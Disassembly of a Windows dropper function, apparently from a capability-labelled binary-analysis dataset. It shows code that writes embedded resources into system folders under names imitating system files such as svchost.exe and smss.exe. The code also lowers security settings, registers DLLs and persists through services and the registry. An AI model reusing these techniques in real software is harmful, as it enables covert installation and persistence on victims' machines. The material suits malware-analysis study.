Function at 0x4018e0
Capabilities:
Act as tcp client
Check if file exists
Check os version
Clear file content
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create directory
Create process on windows
Create service
Create tcp socket
Create udp socket
Delete file
Delete registry key
Delete service
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get local ipv4 addresses
Get socket information
Initialize winsock library
Move file
Persist via windows service
Print debug messages
Resolve dns
Set registry value
Start service
Stop service
Write and execute a file
Write file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x406a78
push eax
mov dword fs:[0], esp
sub esp, 0xa8c
xor eax, eax
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x41
lea edi, [esp + 0x890]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x3fc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str.com1_
xor eax, eax
lea edx, [esp + 0x3f8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x890]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3f8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x890]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.apphr.._
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
and ecx, 3
lea eax, [esp + 0x3fc]
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
push 0
lea ecx, [esp + 0x894]
push ecx
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x58]
lea edx, [esp + 0x58]
push 0x104
push edx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.devbak.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 8]
push str.IMAGE
push 0xa5
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x401ab1
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401ab1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esp + 0x18], eax
je 0x401ab1
push 0
push 0x80
push 2
push 0
push 0
lea eax, [esp + 0x6c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push 0
push ecx
push eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x58]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.uninst.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x58]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2f5]
mov byte [esp + 0x2f4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x2f4]
push 0x104
push ecx
mov dword [esp + 0xaac], 0xffffffff
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x2f4]
lea ecx, [esp + 0x1c]
push edx
call fcn.00406332
lea eax, [esp + 0x2f4]
push 0x104
push eax
mov dword [esp + 0xaac], 2
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x2f4]
push ecx
lea ecx, [esp + 0x14]
call fcn.00406332
lea ecx, [esp + 0x14]
mov byte [esp + 0xaa4], 3
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [esp + 0x14]
mov edx, esp
mov dword [esp + 0x1c], esp
push str.passthru.sys
push eax
push edx
mov byte [esp + 0xab4], 4
call sub.MFC42.DLL_operator
call fcn.004018b0
mov ecx, esp
mov dword [esp + 0x1c], esp
lea edx, [esp + 0x14]
push str._ndisctrl.exe
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.004018b0
mov eax, esp
mov dword [esp + 0x1c], esp
lea ecx, [esp + 0x14]
push str.com1hruser.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.004018b0
mov edx, esp
mov dword [esp + 0x1c], esp
lea eax, [esp + 0x14]
push str.com1wmipris.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.004018b0
mov ecx, esp
mov dword [esp + 0x1c], esp
lea edx, [esp + 0x14]
push str.drivers_npf.sys
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.004018b0
mov eax, esp
mov dword [esp + 0x1c], esp
lea ecx, [esp + 0x14]
push str.hrpro.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.004018b0
mov edx, esp
mov dword [esp + 0x1c], esp
lea eax, [esp + 0x14]
push str.com1_svchost.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.004018b0
mov ecx, esp
mov dword [esp + 0x1c], esp
lea edx, [esp + 0x14]
push str.com1FileMon.sys
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.004018b0
mov eax, esp
mov dword [esp + 0x1c], esp
lea ecx, [esp + 0x14]
push str._runserv.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.004018b0
mov edx, esp
mov dword [esp + 0x1c], esp
lea eax, [esp + 0x20]
push str.DexSendEMail.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.004018b0
add esp, 4
lea edx, [esp + 0x1c]
push 1
push 0xe1
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.Rundll32.exe
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405673
push 1
push 0xe2
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x2c]
push str._smss.exe
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405673
push 1
push 0xe3
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x2c]
push str.usp10.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405673
push 1
push 0xee
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1HrExt.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405673
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_2
push 1
push 0xf1
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.MakeLowSecurity.exe
push ecx
push eax
mov byte [esp + 0xac0], 5
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
lea edx, [esp + 0x10]
push str.hrjdcache
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
call ebx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.hrjdcache
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
mov byte [esp + 0xaa4], 6
push eax
lea eax, [esp + 0x24]
push str.MakeLowSecurity.exe___s___c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 5
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push ecx
call esi
push 0
push str.C:Mail
call ebx
push str.C:Mail
lea edx, [esp + 0x24]
push str.MakeLowSecurity.exe___s___c
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x2c]
add esp, 0xc
push 0
push eax
call esi
push 2
push 0x409e1c
push 1
push str.version
push str.SOFTWAREhrjdcis7
push getsockname
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea ecx, [esp + 0x10]
push str.hrjdcache
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
mov byte [esp + 0xaa4], 7
push eax
lea eax, [esp + 0x24]
push str.MakeLowSecurity.exe_HKLMSOFTWAREhrjdcis7__c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 5
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
push 0
push ecx
call esi
push 1
push 0xea
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1HttpMM.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xf4
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1FoxLib.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xec
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.com1Bulletin.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xed
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1Node.xml
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe5
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1leakcheck.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe4
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.com1libleak.dat
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe6
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.com1libleak2.dat
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe8
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.com1UpdateHelp.exe
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe9
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x20]
push str.UsbBrowser.exe
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xe7
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
lea eax, [esp + 0x20]
push str.ExplorerExt.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push 1
push 0xf3
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x20]
push str.IpLocker.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.004057a0
test eax, eax
je 0x405662
push str.regsvr32__s
lea ecx, [esp + 0x28]
call fcn.00406332
lea eax, [esp + 0x10]
lea ecx, [esp + 0x24]
push eax
mov byte [esp + 0xaa8], 8
call sub.MFC42.DLL_CString::operator_1
push str.ExplorerExt.dll
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x24]
push 0
push ecx
call esi
lea edx, [esp + 0x1c]
push str.usp10ex.dll
lea eax, [esp + 0x2c]
push edx
push eax
call sub.MFC42.DLL_operator
mov esi, dword [eax]
lea ecx, [esp + 0x10]
push str.usp10.dll
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0xab0], 9
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x58]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x10]
push str.usbview.exe
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0xa
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0xb
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xc3
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402211
push 0x10
push 0x409cc4
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x40224f
push 0x10
push 0x409ca0
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022a9
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x40229b
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x40227d
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.hrreg.exe
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0xc
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0xd
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xc5
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402345
push 0x10
push 0x409c8c
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402383
push 0x10
push 0x409c84
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4023dd
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4023cf
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4023b1
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.mfco42ud.dll
lea eax, [esp + 0x2c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0xe
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0xf
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbe
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402479
push 0x10
push 0x409c6c
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4024b7
push 0x10
push 0x409c64
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40250e
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402500
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4024e2
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.mfcn42ud.dll
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x10
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x11
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbd
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4025aa
push 0x10
push 0x409c4c
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x4025e8
push 0x10
push 0x409c44
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40263f
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402631
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402613
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.mfcd42ud.dll
lea ecx, [esp + 0x2c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x12
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x13
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbc
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4026db
push 0x10
push 0x409c2c
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x402719
push 0x10
push 0x409c24
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402770
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402762
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402744
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.mfc42ud.dll
lea eax, [esp + 0x2c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x14
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x15
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbb
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40280c
push 0x10
push 0x409c0c
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x40284a
push 0x10
push 0x409c04
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4028a1
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x402893
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x402875
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str._snetcfg.exe
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x16
call fcn.004062fc
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0xaa4], 0x17
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb7
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40293d
push 0x10
push 0x409bec
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x40297b
push 0x10
push 0x409be4
push 0x409ca8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4029d5
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4029c7
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4029a9
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 8
call sub.MFC42.DLL_CString::CString
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x15c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x15c]
mov dword [esp + 0x15c], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x160], 5
jne 0x402b5b
mov eax, dword [esp + 0x164]
test eax, eax
jne 0x402b5b
lea ecx, [esp + 0x10]
push str.passthru.sys
